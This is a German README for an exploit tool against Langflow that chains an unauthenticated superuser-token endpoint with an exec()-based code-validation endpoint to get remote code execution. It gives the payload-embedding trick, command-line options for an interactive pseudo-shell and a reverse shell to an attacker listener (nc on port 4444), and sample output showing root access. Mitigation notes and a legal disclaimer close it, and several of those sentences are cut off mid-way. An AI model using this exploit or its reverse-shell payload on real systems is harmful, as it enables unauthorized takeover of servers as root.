
Exploit für CVE-2026-9198, der Proof-of-Concept-Payloads und Validierungsschritte zur Bewertung der Schwachstelle in Zielumgebungen enthält.
Nicht authentifizierte Remote-Code-Ausführung in IBM Langflow OSS (1.0.0 – 1.10.0) bei einer Standardbereitstellung. Verkettet zwei Schwachstellen:
GET /api/v1/auto_login stellt jedem Aufrufer ohne Anmeldedaten ein SUPERUSER-JWT aus, sofern AUTO_LOGIN aktiviert ist (der Standard in
Langflow < 1.5).POST /api/v1/validate/code übergibt vom Benutzer bereitgestelltes Python an
exec() ohne Sandbox.Zusammen (CVE-2026-9198) erlangt ein nicht authentifizierter Angreifer Codeausführung als der
Langflow-Dienstbenutzer — der häufig root ist.
Fordert ein Superuser-Bearer-Token von /api/v1/auto_login an (ohne Authentifizierung).
Übermittelt eine Payload an /api/v1/validate/code. Der Endpunkt führt den Code per exec() aus, um
ihn zu „validieren“; Python wertet Standardargumentwerte zum Definitionszeitpunkt aus, daher
wird die Payload in ein Standardargument einer Funktion eingebettet:
def _v(a=exec('<payload>')): pass
Für die Befehlsausführung löst die Payload eine Ausnahme aus, deren Meldung die
Befehlsausgabe ist, die der Endpunkt in der Antwort zurückgibt
(function.errors[]).
./exploit.py -t <target> [options]
-t, --target Zielhost/-IP (oder vollständige URL) (erforderlich)
-p, --port Langflow-Port (Standard 7860)
-c, --cmd einen einzelnen Shell-Befehl ausführen, Ausgabe anzeigen
--shell interaktive Pseudo-Shell (jede Zeile läuft über die RCE)
--lhost IP des Reverse-Shell-Listeners
--lport Port des Reverse-Shell-Listeners (Standard 4444)
-k, --token dieses Bearer-Token verwenden (auto_login überspringen)
--timeout HTTP-Timeout in Sekunden (Standard 20)
--no-banner Banner unterdrücken
-h, --help Hilfe anzeigen
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install erforderlich)AUTO_LOGIN aktiviert ist (der Standard für Langflow < 1.5; bei
>= 1.5 muss es explizit LANGFLOW_AUTO_LOGIN=true sein). Wenn auto_login kein
Token zurückgibt, ist das Ziel über diesen Pfad nicht ausnutzbar — geben Sie ein gültiges Token mit
-k an, falls Sie eines haben.function.errors[] zurückgegeben; stderr wird
in stdout zusammengeführt, sodass fehlschlagende Befehle dennoch ihren Fehler anzeigen.root ist (häufig bei
direktem langflow run unter systemd/Docker-als-root), bedeutet dies direktes Host-Root.validate/code darf keine
nicht vertrauenswürdige Eingabe per exec() ausführen und auto_login darf keine Superuser-Tokens ausstellen.LANGFLOW_AUTO_LOGIN=false und konfigurieren Sie echte Superuser-Anmeldedaten.root aus.Dieses Projekt wird ausschließlich für autorisierte Sicherheitstests und Bildungszwecke veröffentlicht. Verwenden Sie es nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.